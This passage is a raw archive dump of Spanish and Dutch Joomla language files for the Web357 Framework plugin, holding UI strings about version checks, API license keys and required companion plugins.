(e.g., Firefox, Chrome, Safari, Opera, Internet Explorer, etc.).</li></ul><div class='plugin-links'><p><a class='btn btn-sm btn-secondary me-2 mr-2' href='https://www.web357.com/web357-framework-joomla-plugin' target='_blank'>More Details</a> <a href='https://www.web357.com/web357-framework-joomla-plugin/changelog' target='_blank' class='btn btn-sm btn-info me-2 mr-2'>Changelog</a> <a href='https://www.web357.com/support' target='_blank' class='btn btn-sm btn-danger'>Support</a></p></div></div>" ; Headers for Parameters ; W357FRM_HEADER_VERSION_CHECK="Version Check" ; W357FRM_HEADER_JED_REVIEW_AND_RATING="JED Review & Rating ⭐⭐⭐⭐⭐" ; W357FRM_HEADER_DESCRIPTION="Description" ; W357FRM_HEADER_ABOUT_WEB357="About Web357" ; W357FRM_HEADER_PARAMETERS="Parameters" ; Version Check ; W357FRM_YOUR_CURRENT_VERSION_IS="Your current version is" ; W357FRM_VIEW_THE_CHANGELOG="changelog" ; W357FRM_UP_TO_DATE="Your version is up to date. Congratulations!" ; W357FRM_UPDATE_TO_THE_LATEST_VERSION="You must update this extension to the latest version" ; W357FRM_GO_TO_DOWNLOAD_AREA="Download it from the Download Area" ; W357FRM_UPDATE_VIA_THE_JOOMLA_UPDATE_MANAGER="Update via the Joomla! Update Manager." ; W357FRM_OR="or" ; Description ; W357FRM_LIVE_DEMO="Live Demo" ; W357FRM_PRODUCT_S_PAGE="Product's Page" ; W357FRM_SETTINGS="Settings" ; W357FRM_VIEW_DEMO="View Demo" ; W357FRM_MORE_DETAILS="More Details" ; W357FRM_DOCUMENTATION="Documentation" ; W357FRM_CHANGELOG="Changelog" ; W357FRM_SUPPORT="Support" ; W357FRM_NO_DESCRIPTION_FOR_THIS_EXTENSION="Description not available for this extension. Please ensure you have downloaded the latest version of this Joomla! extension from <a href='https://web357.com/joomla-extensions'>https://web357.com/joomla-extensions</a>." ; JED Review ; W357FRM_LEAVE_REVIEW_ON_JED="Please post a rating and a review at the Joomla! Extensions Directory: <a href='%s' target='_blank'><strong>%s</strong> in the JED</a> - Thank you!" ; W357FRM_ASK_FOR_JED_REVIEW="It would be much appreciated if you can leave a review on <a href='%s' target='_blank'>Joomla! Extensions Directory</a>. Thank you! 💗" ; API KEY ; W357FRM_APIKEY_HEADER="API Key (for Web357 commercial extensions only)" ; W357FRM_APIKEY="API Key" ; W357FRM_APIKEY_DESCRIPTION="In order to update commercial Web357 extensions, you have to enter the Web357 License Key.<br>You can find the License Key in your account settings at Web357.com, in <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a> section.<br>For more details about your License key, please check out <a href='//www.web357.com/apikey' target='_blank'>this page</a>." ; W357FRM_APIKEY_REQUIRED_GLOBAL_MSG="Please enter your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>." ; W357FRM_APIKEY_WARNING="If there was a download error, it's probably because Web357 the API Key has not been set, you can do so in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>. For more details, please check out the <a href='//www.web357.com/apikey' target='_blank'><strong>API Key documentation page</strong></a>." ; W357FRM_APIKEY_MISSED="Please add your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'>Web357 Framework</a>. You can find the API Key in your Account settings in the <a href='my-account/downloads' target='_blank'>Downloads</a> section." ; W357FRM_DOWNLOAD_KEY_MISSING="Download key is missing" ; W357FRM_DOWNLOAD_KEY_MISSING_DESC="In order to update the %s you will need to enter your Download API Key in Web357 Framework plugin settings." ; W357FRM_DOWNLOAD_KEY_MISSING_FIND_APIKEY_AT_WEB357COM="You can find the License Key in your account settings at Web357.com, in <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a> section." ; W357FRM_DOWNLOAD_KEY_UPDATE_BTN="Enter Web357 Api Key" ; W357FRM_OK="OK" ; W357FRM_MISSING="Missing" ; W357FRM_DOWNLOAD_KEY="Download Key" ; W357FRM_APIKEY_ACTIVATED_AND_VALIDATED="Your API Key <strong>%s</strong> is active and validated." ; W357FRM_APIKEY_INVALID="The Api Key <strong>%s</strong> is invalid.<br>Please, ensure that you have copied correctly the Api Key from your <a href='https://www.web357.com/my-account/web357-license-manager?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>Web357 account</a>.<br>If you still have issues, please, send us an email at support@web357.com." ; W357FRM_SAVE_PLUGIN_SETTINGS="Please, save the plugin settings." ; W357FRM_INACTIVE_SUBSCRIPTION="It seems that your subscription has been expired and you are not able to update any Web357 commercial extension.<br> Please, <a href='https://www.web357.com/joomla-pricing/?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>renew your Web357 subscription</a> to have access to the extension updates. If you have any questions, please feel free to send us an email at support@web357.com." ; W357FRM_CALL_WITH_WEB357_LICENSE_MANAGER_FAILED="Call with Web357's License Manager has been failed. <br>Please, try again later or contact us at support@web357.com." ; W357FRM_APIKEY_NOT_ACTIVATED="Your API Key <strong>%s</strong> is valid, but is not activated yet.<br>Click the button below to activate it." ; W357FRM_ACTIVATE_API_KEY="Activate Api Key" ; Other ; W357FRM_ONLY_IN_PRO="Available only in %s version." ; W357_ERROR_UNINSTALL_FIRST="You must uninstall the %s PRO version before installing the free version." ; Element: checkextension ; W357FRM_EXTENSION_IS_ACTIVE="OK. The extension '%s' is active and ready for use." ; W357FRM_EXTENSION_IS_NOT_ACTIVE="Error: The extension '%s' is not enabled or is not installed yet." ; Fieldsets ; COM_PLUGINS_LOGINASUSER_FIELDSET_LABEL="Assign multiple Admins to specific User Groups" ; Login as User - System Plugin is required ; LOGINASUSER_PLUGIN_IS_REQUIRED="The <strong>'Login as User - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Login%20as%20User' title='Login as User plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/login-as-user-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=loginasuser_plugin_is_required'>here</a>." ; Monthly Archive - System Plugin is required ; MONTHLYARCHIVE_PLUGIN_IS_REQUIRED="The <strong>'Monthly Archive - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Monthly%20Archive' title='Monthly Archive plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/monthly-archive-joomla-component-module?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=monthlyarchive_plugin_is_required'>here</a>." ; Fix 404 Error Links - System Plugin is required ; FIX404ERRORLINKS_PLUGIN_IS_REQUIRED="The <strong>'Fix 404 Error Links - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Fix%20404%20Error%20Links' title='Fix 404 Error Links plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/fix-404-error-links-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=fix404errorlinks_plugin_is_required'>here</a>." ; JMailLog - System Plugin is required ; JMAILLOG_PLUGIN_IS_REQUIRED="The <strong>'JMailLog - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20JMail%20Log' title='JMailLog plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/jmail-log-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=jmaillog_plugin_is_required'>here</a>." ; Limit Active Logins - System Plugin is required ; LIMITACTIVELOGINS_SYSTEM_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Limit Active Logins - User Plugin is required ; LIMITACTIVELOGINS_USER_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - User Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=User%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Failed Login Attempts - Authentication Plugin is required ; FAILEDLOGINATTEMPTS_AUTHENTICATION_PLUGIN_IS_REQUIRED="The <strong>'Failed Login Attempts - Authentication Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=Authentication%20-%20Failed%20Login%20Attempts' title='Failed Login Attempts plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/failed-login-attempts-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=failedloginattempts_plugin_is_required'>here</a>." language/es-ES/es-ES.plg_system_web357framework.ini000060400000030402151721520510016051 0ustar00; Defaults ; PLG_SYSTEM_WEB357FRAMEWORK="System - Web357 Framework" ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a vital helper tool designed to support all Web357 extensions. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins." ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION_HTML="<div class='plugin-description'><p>The <strong>Web357 Framework Joomla! plugin</strong> is a vital helper tool designed to support all <a href='https://www.web357.com/joomla-extensions' target='_blank'>Web357 Joomla! Extensions</a>. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins.</p><h4>Key Features</h4><ul><li><strong>getCountry():</strong> Detects the country of a user using geoplugin.net.</li><li><strong>getOS():</strong> Identifies the operating system of a user (e.g., Windows, Linux, Android, iOS, etc.).</li><li><strong>getBrowser():</strong> Recognizes the browser of a user (e.g., Firefox, Chrome, Safari, Opera, Internet Explorer, etc.).</li></ul><div class='plugin-links'><p><a class='btn btn-sm btn-secondary me-2 mr-2' href='https://www.web357.com/web357-framework-joomla-plugin' target='_blank'>More Details</a> <a href='https://www.web357.com/web357-framework-joomla-plugin/changelog' target='_blank' class='btn btn-sm btn-info me-2 mr-2'>Changelog</a> <a href='https://www.web357.com/support' target='_blank' class='btn btn-sm btn-danger'>Support</a></p></div></div>" ; Headers for Parameters ; W357FRM_HEADER_VERSION_CHECK="Version Check" ; W357FRM_HEADER_JED_REVIEW_AND_RATING="JED Review & Rating ⭐⭐⭐⭐⭐" ; W357FRM_HEADER_DESCRIPTION="Description" ; W357FRM_HEADER_ABOUT_WEB357="About Web357" ; W357FRM_HEADER_PARAMETERS="Parameters" ; Version Check ; W357FRM_YOUR_CURRENT_VERSION_IS="Your current version is" ; W357FRM_VIEW_THE_CHANGELOG="changelog" ; W357FRM_UP_TO_DATE="Your version is up to date. Congratulations!" ; W357FRM_UPDATE_TO_THE_LATEST_VERSION="You must update this extension to the latest version" ; W357FRM_GO_TO_DOWNLOAD_AREA="Download it from the Download Area" ; W357FRM_UPDATE_VIA_THE_JOOMLA_UPDATE_MANAGER="Update via the Joomla! Update Manager." ; W357FRM_OR="or" ; Description ; W357FRM_LIVE_DEMO="Live Demo" ; W357FRM_PRODUCT_S_PAGE="Product's Page" ; W357FRM_SETTINGS="Settings" ; W357FRM_VIEW_DEMO="View Demo" ; W357FRM_MORE_DETAILS="More Details" ; W357FRM_DOCUMENTATION="Documentation" ; W357FRM_CHANGELOG="Changelog" ; W357FRM_SUPPORT="Support" ; W357FRM_NO_DESCRIPTION_FOR_THIS_EXTENSION="Description not available for this extension. Please ensure you have downloaded the latest version of this Joomla! extension from <a href='https://web357.com/joomla-extensions'>https://web357.com/joomla-extensions</a>." ; JED Review ; W357FRM_LEAVE_REVIEW_ON_JED="Please post a rating and a review at the Joomla! Extensions Directory: <a href='%s' target='_blank'><strong>%s</strong> in the JED</a> - Thank you!" ; W357FRM_ASK_FOR_JED_REVIEW="It would be much appreciated if you can leave a review on <a href='%s' target='_blank'>Joomla! Extensions Directory</a>. Thank you! 💗" ; API KEY ; W357FRM_APIKEY_HEADER="API Key (for Web357 commercial extensions only)" ; W357FRM_APIKEY="API Key" ; W357FRM_APIKEY_DESCRIPTION="In order to update commercial Web357 extensions, you have to enter the Web357 License Key.<br>You can find the License Key in your account settings at Web357.com, in <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a> section.<br>For more details about your License key, please check out <a href='//www.web357.com/apikey' target='_blank'>this page</a>." ; W357FRM_APIKEY_REQUIRED_GLOBAL_MSG="Please enter your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>." ; W357FRM_APIKEY_WARNING="If there was a download error, it's probably because Web357 the API Key has not been set, you can do so in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>. For more details, please check out the <a href='//www.web357.com/apikey' target='_blank'><strong>API Key documentation page</strong></a>." ; W357FRM_APIKEY_MISSED="Please add your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'>Web357 Framework</a>. You can find the API Key in your Account settings in the <a href='my-account/downloads' target='_blank'>Downloads</a> section." ; W357FRM_DOWNLOAD_KEY_MISSING="Download key is missing" ; W357FRM_DOWNLOAD_KEY_MISSING_DESC="In order to update the %s you will need to enter your Download API Key in Web357 Framework plugin settings." ; W357FRM_DOWNLOAD_KEY_MISSING_FIND_APIKEY_AT_WEB357COM="You can find the License Key in your account settings at Web357.com, in <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a> section." ; W357FRM_DOWNLOAD_KEY_UPDATE_BTN="Enter Web357 Api Key" ; W357FRM_OK="OK" ; W357FRM_MISSING="Missing" ; W357FRM_DOWNLOAD_KEY="Download Key" ; W357FRM_APIKEY_ACTIVATED_AND_VALIDATED="Your API Key <strong>%s</strong> is active and validated." ; W357FRM_APIKEY_INVALID="The Api Key <strong>%s</strong> is invalid.<br>Please, ensure that you have copied correctly the Api Key from your <a href='https://www.web357.com/my-account/web357-license-manager?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>Web357 account</a>.<br>If you still have issues, please, send us an email at support@web357.com." ; W357FRM_SAVE_PLUGIN_SETTINGS="Please, save the plugin settings." ; W357FRM_INACTIVE_SUBSCRIPTION="It seems that your subscription has been expired and you are not able to update any Web357 commercial extension.<br> Please, <a href='https://www.web357.com/joomla-pricing/?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>renew your Web357 subscription</a> to have access to the extension updates. If you have any questions, please feel free to send us an email at support@web357.com." ; W357FRM_CALL_WITH_WEB357_LICENSE_MANAGER_FAILED="Call with Web357's License Manager has been failed. <br>Please, try again later or contact us at support@web357.com." ; W357FRM_APIKEY_NOT_ACTIVATED="Your API Key <strong>%s</strong> is valid, but is not activated yet.<br>Click the button below to activate it." ; W357FRM_ACTIVATE_API_KEY="Activate Api Key" ; Other ; W357FRM_ONLY_IN_PRO="Available only in %s version." ; W357_ERROR_UNINSTALL_FIRST="You must uninstall the %s PRO version before installing the free version." ; Element: checkextension ; W357FRM_EXTENSION_IS_ACTIVE="OK. The extension '%s' is active and ready for use." ; W357FRM_EXTENSION_IS_NOT_ACTIVE="Error: The extension '%s' is not enabled or is not installed yet." ; Fieldsets ; COM_PLUGINS_LOGINASUSER_FIELDSET_LABEL="Assign multiple Admins to specific User Groups" ; Login as User - System Plugin is required ; LOGINASUSER_PLUGIN_IS_REQUIRED="The <strong>'Login as User - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Login%20as%20User' title='Login as User plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/login-as-user-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=loginasuser_plugin_is_required'>here</a>." ; Monthly Archive - System Plugin is required ; MONTHLYARCHIVE_PLUGIN_IS_REQUIRED="The <strong>'Monthly Archive - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Monthly%20Archive' title='Monthly Archive plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/monthly-archive-joomla-component-module?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=monthlyarchive_plugin_is_required'>here</a>." ; Fix 404 Error Links - System Plugin is required ; FIX404ERRORLINKS_PLUGIN_IS_REQUIRED="The <strong>'Fix 404 Error Links - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Fix%20404%20Error%20Links' title='Fix 404 Error Links plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/fix-404-error-links-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=fix404errorlinks_plugin_is_required'>here</a>." ; JMailLog - System Plugin is required ; JMAILLOG_PLUGIN_IS_REQUIRED="The <strong>'JMailLog - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20JMail%20Log' title='JMailLog plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/jmail-log-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=jmaillog_plugin_is_required'>here</a>." ; Limit Active Logins - System Plugin is required ; LIMITACTIVELOGINS_SYSTEM_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Limit Active Logins - User Plugin is required ; LIMITACTIVELOGINS_USER_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - User Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=User%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Failed Login Attempts - Authentication Plugin is required ; FAILEDLOGINATTEMPTS_AUTHENTICATION_PLUGIN_IS_REQUIRED="The <strong>'Failed Login Attempts - Authentication Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=Authentication%20-%20Failed%20Login%20Attempts' title='Failed Login Attempts plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/failed-login-attempts-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=failedloginattempts_plugin_is_required'>here</a>." language/es-ES/es-ES.plg_system_web357framework.sys.ini000060400000001166151721520510016673 0ustar00; Defaults ; PLG_SYSTEM_WEB357FRAMEWORK="System - Web357 Framework" ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." ; Only for Joomla! 2.5.x ; COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Description" ; COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Description" language/nl-NL/nl-NL.plg_system_web357framework.sys.ini000060400000001230151721520510016673 0ustar00; Defaults PLG_SYSTEM_WEB357FRAMEWORK="Systeem - Web357 Framework" PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="De Web357 Framework Joomla plug-in is een vereiste help instrument dat wordt gebruikt door alle Web357 extensies. Binnen de plug-in bestanden, hebben we opgenomen code en PHP functies waarmee de plug-in updates toe te passen slechts op één plaats, dat wil zeggen de plug-in zelf, en ervoor zorgen dat ze automatisch worden uitgerold naar een externe website die gebruik maakt van de Web357 applicaties en plug-ins ." ; Only for Joomla! 2.5.x COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Beschrijving" COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Beschrijving" language/nl-NL/nl-NL.plg_system_web357framework.ini000060400000030412151721520510016062 0ustar00; Defaults PLG_SYSTEM_WEB357FRAMEWORK="Systeem - Web357 Framework" ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a vital helper tool designed to support all Web357 extensions. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins." ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION_HTML="<div class='plugin-description'><p>The <strong>Web357 Framework Joomla! plugin</strong> is a vital helper tool designed to support all <a href='https://www.web357.com/joomla-extensions' target='_blank'>Web357 Joomla! Extensions</a>. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins.</p><h4>Key Features</h4><ul><li><strong>getCountry():</strong> Detects the country of a user using geoplugin.net.</li><li><strong>getOS():</strong> Identifies the operating system of a user (e.g., Windows, Linux, Android, iOS, etc.).</li><li><strong>getBrowser():</strong> Recognizes the browser of a user (e.g., Firefox, Chrome, Safari, Opera, Internet Explorer, etc.).</li></ul><div class='plugin-links'><p><a class='btn btn-sm btn-secondary me-2 mr-2' href='https://www.web357.com/web357-framework-joomla-plugin' target='_blank'>More Details</a> <a href='https://www.web357.com/web357-framework-joomla-plugin/changelog' target='_blank' class='btn btn-sm btn-info me-2 mr-2'>Changelog</a> <a href='https://www.web357.com/support' target='_blank' class='btn btn-sm btn-danger'>Support</a></p></div></div>" ; Headers for Parameters W357FRM_HEADER_VERSION_CHECK="Versie controle" ; W357FRM_HEADER_JED_REVIEW_AND_RATING="JED Review & Rating ⭐⭐⭐⭐⭐" W357FRM_HEADER_DESCRIPTION="Beschrijving" W357FRM_HEADER_ABOUT_WEB357="Over Web357" W357FRM_HEADER_PARAMETERS="Parameters" ; Version Check W357FRM_YOUR_CURRENT_VERSION_IS="Uw huidige versie is" W357FRM_VIEW_THE_CHANGELOG="veranderings logboek" W357FRM_UP_TO_DATE="Uw huidige versie is up-to-date. Gefeliciteerd" W357FRM_UPDATE_TO_THE_LATEST_VERSION="U dient de extensie naar de laatste versie te updaten!" W357FRM_GO_TO_DOWNLOAD_AREA="Download het van uit de Download Omgeving" W357FRM_UPDATE_VIA_THE_JOOMLA_UPDATE_MANAGER="Update via de Joomla Update beheerder." W357FRM_OR="of" ; Description ; W357FRM_LIVE_DEMO="Live Demo" ; W357FRM_PRODUCT_S_PAGE="Product's Page" ; W357FRM_SETTINGS="Settings" ; W357FRM_VIEW_DEMO="View Demo" ; W357FRM_MORE_DETAILS="More Details" ; W357FRM_DOCUMENTATION="Documentation" ; W357FRM_CHANGELOG="Changelog" ; W357FRM_SUPPORT="Support" ; W357FRM_NO_DESCRIPTION_FOR_THIS_EXTENSION="Description not available for this extension. Please ensure you have downloaded the latest version of this Joomla! extension from <a href='https://web357.com/joomla-extensions'>https://web357.com/joomla-extensions</a>." ; JED Review ; W357FRM_LEAVE_REVIEW_ON_JED="Please post a rating and a review at the Joomla! Extensions Directory: <a href='%s' target='_blank'><strong>%s</strong> in the JED</a> - Thank you!" ; W357FRM_ASK_FOR_JED_REVIEW="It would be much appreciated if you can leave a review on <a href='%s' target='_blank'>Joomla! Extensions Directory</a>. Thank you! 💗" ; API KEY ; W357FRM_APIKEY_HEADER="API Key (for Web357 commercial extensions only)" W357FRM_APIKEY="API Sleutel" ; W357FRM_APIKEY_DESCRIPTION="In order to update commercial Web357 extensions, you have to enter the Web357 License Key.<br>You can find the License Key in your account settings at Web357.com, in <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a> section.<br>For more details about your License key, please check out <a href='//www.web357.com/apikey' target='_blank'>this page</a>." ; W357FRM_APIKEY_REQUIRED_GLOBAL_MSG="Please enter your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>." ; W357FRM_APIKEY_WARNING="If there was a download error, it's probably because Web357 the API Key has not been set, you can do so in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>. For more details, please check out the <a href='//www.web357.com/apikey' target='_blank'><strong>API Key documentation page</strong></a>." ; W357FRM_APIKEY_MISSED="Please add your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'>Web357 Framework</a>. You can find the API Key in your Account settings in the <a href='my-account/downloads' target='_blank'>Downloads</a> section." ; W357FRM_DOWNLOAD_KEY_MISSING="Download key is missing" ; W357FRM_DOWNLOAD_KEY_MISSING_DESC="In order to update the %s you will need to enter your Download API Key in Web357 Framework plugin settings." ; W357FRM_DOWNLOAD_KEY_MISSING_FIND_APIKEY_AT_WEB357COM="You can find the License Key in your account settings at Web357.com, in <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a> section." ; W357FRM_DOWNLOAD_KEY_UPDATE_BTN="Enter Web357 Api Key" ; W357FRM_OK="OK" ; W357FRM_MISSING="Missing" ; W357FRM_DOWNLOAD_KEY="Download Key" ; W357FRM_APIKEY_ACTIVATED_AND_VALIDATED="Your API Key <strong>%s</strong> is active and validated." ; W357FRM_APIKEY_INVALID="The Api Key <strong>%s</strong> is invalid.<br>Please, ensure that you have copied correctly the Api Key from your <a href='https://www.web357.com/my-account/web357-license-manager?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>Web357 account</a>.<br>If you still have issues, please, send us an email at support@web357.com." ; W357FRM_SAVE_PLUGIN_SETTINGS="Please, save the plugin settings." ; W357FRM_INACTIVE_SUBSCRIPTION="It seems that your subscription has been expired and you are not able to update any Web357 commercial extension.<br> Please, <a href='https://www.web357.com/joomla-pricing/?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>renew your Web357 subscription</a> to have access to the extension updates. If you have any questions, please feel free to send us an email at support@web357.com." ; W357FRM_CALL_WITH_WEB357_LICENSE_MANAGER_FAILED="Call with Web357's License Manager has been failed. <br>Please, try again later or contact us at support@web357.com." ; W357FRM_APIKEY_NOT_ACTIVATED="Your API Key <strong>%s</strong> is valid, but is not activated yet.<br>Click the button below to activate it." ; W357FRM_ACTIVATE_API_KEY="Activate Api Key" ; Other W357FRM_ONLY_IN_PRO="Alleen beschikbaar in %s versie." ; W357_ERROR_UNINSTALL_FIRST="You must uninstall the %s PRO version before installing the free version." ; Element: checkextension W357FRM_EXTENSION_IS_ACTIVE="OK. De extensie '%s' is actief en klaar voor gebruik." W357FRM_EXTENSION_IS_NOT_ACTIVE="Fout: de extensie '%s' is niet ingeschakeld of is nog niet geïnstalleerd." ; Fieldsets ; COM_PLUGINS_LOGINASUSER_FIELDSET_LABEL="Assign multiple Admins to specific User Groups" ; Login as User - System Plugin is required ; LOGINASUSER_PLUGIN_IS_REQUIRED="The <strong>'Login as User - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. 